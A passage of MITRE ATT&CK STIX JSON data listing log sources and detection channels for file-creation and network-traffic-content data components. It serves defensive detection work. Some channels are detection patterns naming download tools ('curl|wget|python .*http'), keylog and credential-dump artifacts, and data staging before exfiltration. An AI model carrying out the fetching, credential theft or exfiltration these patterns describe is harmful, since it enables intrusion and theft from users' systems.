                            "channel": "Linux Audit SYSCALL+PATH records: file transfer (scp, sftp, rsync, etc.) placing executable on Industrial Control Systems (ICS) Linux asset, followed by execve of the transferred file within tool transfer window"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "PutObject"
                        },
                        {
                            "name": "CloudTrail:PutObject",
                            "channel": "PutObject"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "file write"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMFS file creation"
                        },
                        {
                            "name": "File",
                            "channel": "None"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "creat"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "create/write/rename in user-writable paths"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Directory events (kFSEventStreamEventFlagItemCreated)"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "open/write/exec calls"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "File IO"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file activity"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file open/write"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "create: Attachment file creation in ~/Library/Mail directories"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "write or chmod to ~/Library/LaunchAgents/*.plist"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file write"
                        },
                        {
                            "name": "fs:launchdaemons",
                            "channel": "file_create"
                        },
                        {
                            "name": "gcp:workspaceaudit",
                            "channel": "drive.activity logs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "NSFileHandle/NSFileManager writes creating high-entropy files within app container (/var/mobile/Containers/Data/Application/<GUID>/tmp|Library/Caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write of high-entropy Mach-O/bundle or generic blob in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/ for .js/.bundle/.dylib/.zip with elevated entropy"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of archive/container (.zip/.gz/.7z/.db export) aggregating recently read items"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of clipboard dump artifacts in container (clipboard.db, clip_*.txt, caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE clipboard/keylog artifacts (clipboard.db, keys_*.txt) in container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of keylog artifacts (keys_*.txt, inputs.db) within app/keyboard container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of form cache/credential-like artifacts (forms.db, creds.json) in container"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE container paths like /Library/Caches/app_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of /Library/Caches/security_inventory.*\\\\.(json|plist|db)"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "linux:Sysmon",
                            "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "es_event_open"
                        },
                        {
                            "name": "macos:fsevents",
                            "channel": "/Library/StartupItems/, ~/Library/LaunchAgents/"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Modification of app.asar inside .app bundle"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "file_events"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of browser extension .plist files"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file creation in AV exclusion directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file write/create"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .plist under /Library/Managed Preferences/"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "creation of ~/.vscode-cli/code_tunnel.json"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create/modify dylib files in monitored directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File created in ~/Library/LaunchAgents or executable directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Process wrote large .mov/.mp4 in user temp/hidden dirs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "logd:file write"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Attachment files written to ~/Downloads or temporary folders"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes of .sql/.csv/.xlsx files to user documents/downloads"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File Events"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation or modification of postinstall scripts within .pkg or .mpkg contents"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "File creation of unsigned binaries/scripts in user cache or download directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of files with anomalous headers and entropy values"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Creation of .zip or .dmg files in user-accessible or temporary directories"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "file create or modify in /etc/emond.d/rules or /private/var/db/emondClients"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes asymmetric-encrypted blob or encoded ciphertext to local staging path before network transmission \u2014 encrypted staging artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Local file write between inbound retrieval"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on path LIKE '/data/data/%/files/%' for binary or dex content by app_package NOT IN $LegitDynamicLoaders$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT on binary-typed path in /data/data/<app>/ within $StegoExecWindow$ of media file download from same session"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for file with audio MIME type (audio/mp4, audio/aac, audio/3gpp) in /data/data/<app>/files/ within $AudioCaptureWindow$ of recording API start"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK or binary file in /sdcard/ or /data/local/tmp/ by browser process within $DriveByWindow$ \u2014 payload drop confirms exploit code execution"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with installer_source NOT IN $ApprovedInstallSources$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device with signing certificate matching manually-trusted enterprise cert NOT IN $EnterpriseCertAllowList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: app binary written to device storage as part of install \u2014 confirms impersonating app is being persisted"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: PackageInstaller.install() writes binary to device storage for impersonating app \u2014 install event is the enrollment of impersonating app"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: open() with O_CREAT for APK file in /sdcard/ or /data/local/tmp/ within $PhishingWindow$ of navigation to flagged URL \u2014 APK drop confirms malware delivery phase"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: File with binary signature (.apk, .dex, .so, .sh) written to app storage or /data/local/tmp/ from USB-mounted path or external storage within $USBInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Compromised app writes staging, cache, or export artifacts inconsistent with its declared function within $PostInstallWindow$"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App stages or caches content retrieved from web-service platform locally before initiating secondary network connection"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes high-entropy blob (Shannon entropy > $EntropyThreshold$) to local staging path immediately before outbound transmission \u2014 encrypted staging artifact confirms app-layer encryption occurred"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes newly retrieved binary, archive, native library (.so), DEX, or script to /data/data/<app>/files/, cache, or shared storage within $IngressWriteWindow$ of network retrieval from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: Managed app writes newly retrieved container-local file, dylib-like resource, or opaque payload after download from non-CDN source"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: APK, DEX, or native library written to app installation path outside MDM-authorized update mechanism \u2014 binary replacement is the persistence artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App reads files across multiple directories or databases in background state (collection phase) then invokes archive or compression routines on collected content \u2014 read-then-archive sequence is the staging chain"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes archive-like container, high-entropy packaged blob, or .zip/.gz output to app-private or cache path after bulk data collection \u2014 archive artifact in private storage is the staging evidence"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes large container, temp package, or high-entropy blob to container-local storage after clustered data access \u2014 staged archive artifact"
                        },
                        {
                            "name": "mobile:ForensicArtifacts",
                            "channel": "Dynamic filesystem trace or acquired app-container/filesystem artifacts: App writes to or modifies protected configuration files or local control structures of deployed security tools"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "IPA binary written with signing cert matching user-trusted certificate NOT IN $EnterpriseCertList$ within $ProfileInstallWindow$"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "PackageInstaller.install() with signing_cert NOT IN $EnterpriseCertList$ within $PolicyViolationWindow$ of settings change"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Browser/WebView process creates downloaded payloads, temporary files, dropped archives, or unusual cached web artifacts shortly after visiting external content"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "File writes from removable-media or USB-associated paths into download, package staging, temp, or application-accessible storage shortly after USB connection"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "large file write originating from /mnt/usb or external mounted storage"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Recently installed or updated trusted app writes staging, cache, buffer, or export artifacts inconsistent with its approved function, especially when temporally adjacent to sensitive resource access or outbound transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App stages, buffers, caches, or exports data locally immediately before communication with legitimate external web-service endpoints in a way inconsistent with normal sync or offline workflow"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to cache, buffer, temp, staging, or export path occurred between inbound retrieval and outbound write to same public web-service class"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Burst write to media, cache, temp, export, or staging path occurred during or immediately after camera session from same app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes encoded/encrypted blobs (high entropy data) to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes high-entropy encrypted blobs to local storage or memory buffers prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App writes asymmetric-encrypted blobs or encoded ciphertext to local buffers or files prior to transmission"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application reads multiple user-data files, media objects, message stores, or app-private records in burst sequence immediately before packaging or encryption activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes archive-like container or high-entropy packaged blob to app storage, cache, temp path, or shared external path after burst collection activity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes new large container, temp package, or high-entropy blob after clustered local data access and before outbound communication"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application performs burst reads across local system paths, external storage, media directories, cache locations, or local database files within a short interval as the primary collection phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application writes newly retrieved binary, archive, script-like asset, overlay content, library, or opaque payload to app-private, cache, temp, or shared external path as the primary local effect of transfer"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app writes newly retrieved container-local asset, dylib-like resource, archive, or opaque payload shortly after remote retrieval as the strongest local effect"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "APK, DEX, native library, or package-associated executable content is written, expanded, or swapped in app package paths, staging paths, or installer cache immediately before or during application replacement"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application modifies protected configuration, local control files, security settings, or tool-related data immediately before security service degradation or non-reporting state"
                        },
                        {
                            "name": "snmp:syslog",
                            "channel": "firmware write/log event"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Shell-Core",
                            "channel": "New startup folder shortcut or binary placed in Startup directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "File creation of suspicious scripts/binaries in temporary directories"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 of alarm config paths by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 with executable/script extension from remote-sourced write operation"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 from removable media path to Industrial Control Systems (ICS) engineering working directory"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 where an unrecognized process creates a staging/output file after bulk ICS data access activity"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 by same process within capture to file window of the Application Programming Interface (API) call"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=11 to alarm threshold config path by image not in Human-Machine Interface (HMI) alarm parent allowlist"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.1",
                    "x_mitre_domains": [
                        "ics-attack",
                        "enterprise-attack",
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:06:23.011000+00:00\", \"old_value\": \"2026-10-13 17:43:40.408000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"MobileEDR:telemetry\", \"channel\": \"Monitored creation of an APK or application-package staging artifact following external retrieval\"}}}",
                    "previous_version": "3.1"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.274000+00:00",
                    "modified": "2026-11-03 00:15:15.935000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0085",
                            "external_id": "DC0085"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Network Traffic Content",
                    "description": "The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.\n\n*Data Collection Measures:*\n\n- Network Packet Capture (Full Content Logging)\n    - Wireshark / tcpdump / tshark\n        - Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`\n    - Zeek (formerly Bro)\n        - Extracts protocol headers and payload details into structured logs. `echo \"redef Log::default_store = Log::ASCII;\" > local.zeek | zeek -Cr capture.pcap local.zeek`\n    - Suricata / Snort (IDS/IPS with PCAP Logging)\n        - Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`\n- Host-Based Collection\n    - Sysmon Event ID 22 \u2013 DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.\n    - Sysmon Event ID 3 \u2013 Network Connection Initiated, Logs process-to-network connection relationships.\n    - AuditD (Linux) \u2013 syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`\n- Cloud & SaaS Traffic Collection\n    - AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.\n    - Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type"
                        },
                        {
                            "name": "ALB:HTTPLogs",
                            "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts"
                        },
                        {
                            "name": "apache:access_log",
                            "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"
                        },
                        {
                            "name": "API:ConfigRepoAudit",
                            "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "setsockopt, ioctl modifying ARP entries"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Traffic between instances"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer"
                        },
                        {
                            "name": "azure:activity",
                            "channel": "networkInsightsLogs"
                        },
                        {
                            "name": "azure:vpcflow",
                            "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints"
                        },
                        {
                            "name": "container:proxy",
                            "channel": "outbound/inbound network activity from spawned pods"
                        },
                        {
                            "name": "dns:querylog",
                            "channel": "Domain Name System (DNS) query from Industrial Control Systems (ICS) host to domain not in approved vendor domains, particularly domains exhibiting Domain Generation Algorithm (DGA)-like patterns"
                        },
                        {
                            "name": "docker:events",
                            "channel": "remote API calls to /containers/create or /containers/{id}/start"
                        },
                        {
                            "name": "docker:stats",
                            "channel": "unusual network TX/RX byte deltas"
                        },
                        {
                            "name": "ebpf:syscalls",
                            "channel": "Process within container accesses link-local address 169.254.169.254"
                        },
                        {
                            "name": "EDR:hunting",
                            "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket sessions with randomized payloads inconsistent with TLS"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound to non-standard ports"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound with non-standard encapsulated protocols"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket inspection showing RSA key exchange outside baseline endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Network activity"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Outbound traffic using encoded payloads post-login"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to webhook endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to pastebin-like domains"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "network stack module logs"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Suspicious traffic filtered or redirected by VM networking stack"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMCI syslog entries"
                        },
                        {
                            "name": "esxi:vob",
                            "channel": "NFS/remote access logs"
                        },
                        {
                            "name": "etw:Microsoft-Windows-NDIS-PacketCapture",
                            "channel": "TLS Handshake/Network Flow"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "HTTPS Inspection"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "WinINet API telemetry"
                        },
                        {
                            "name": "gcp:audit",
                            "channel": "network.query*"
                        },
                        {
                            "name": "gcp:vpcflow",
                            "channel": "first 5m egress to unknown ASNs"
                        },
                        {
                            "name": "IDS:TLSInspection",
                            "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-app VPN flow logging indicating opaque/archived payload transfer preceding local decode"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-App VPN flow with code-like content types (application/octet-stream, application/zip, text/javascript, application/x-mach-o)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "WKWebView navigation to domain visually similar to target brand (IDN/punycode/alike score)"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Query to suspicious domain with high entropy or low reputation"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "curl|wget|python .*http"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Unexpected SQL or application log entries showing tampered or malformed data"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Integrity mismatch warnings or malformed packets detected"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "DNS response IPs followed by connections to non-standard calculated ports"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Multiple NXDOMAIN responses and high entropy domains"
                        },
                        {
                            "name": "m365:office",
                            "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network metrics correlation for bandwidth saturation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS query with pseudo-random subdomain patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network flow"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "curl|osascript.*open location"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "open URL|clicked link|LSQuarantineAttach"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "None"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "HTTP POST with encoded content in user-agent or cookie field"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "log stream (subsystem: com.apple.system.networking)"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted connection with anomalous payload entropy"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network, socket, and http logs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS responses followed by connections to ports outside standard ranges"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound traffic to mining domains"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted session initiation by unexpected binary"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'promiscuous'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to code repository APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'open', 'sendto', 'connect'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "dns-sd, mDNSResponder, socket activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.WebKit"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "encrypted outbound traffic carrying unexpected application data"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound connections with consistent periodicity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "TLS connections with abnormal handshake sequence or self-signed cert"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound TLS connections to cloud storage providers"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to cloud storage APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process, network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'"
                        },
                        {
                            "name": "Netfilter/iptables",
                            "channel": "Forwarded packets log"
                        },
                        {
                            "name": "Network Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "networkconfig ",
                            "channel": "interface flag PROMISC, netstat | ip link | ethtool"
                        },
                        {
                            "name": "networkdevice:config",
                            "channel": "NAT table modification (add/update/delete rule)"
                        },
                        {
                            "name": "NetworkDevice:IDS",
                            "channel": "DoH/DoT identification, SNI/HTTP host when observable, DNS tunneling signatures"
                        },
                        {
                            "name": "networkdevice:IDS",
                            "channel": "content inspection / PCAP / HTTP body"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "ACL/Firewall rule modification or new route injection"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "config change (e.g., logging buffered, pcap buffers)"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures or unusual community string usage in SNMP queries"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Symmetric encryption detected without TLS handshake sequence"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "TLS handshake + HTTP headers"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Abnormal certificate chains or non-standard ports carrying TLS"
                        },
                        {
                            "name": "NSM:Connections",
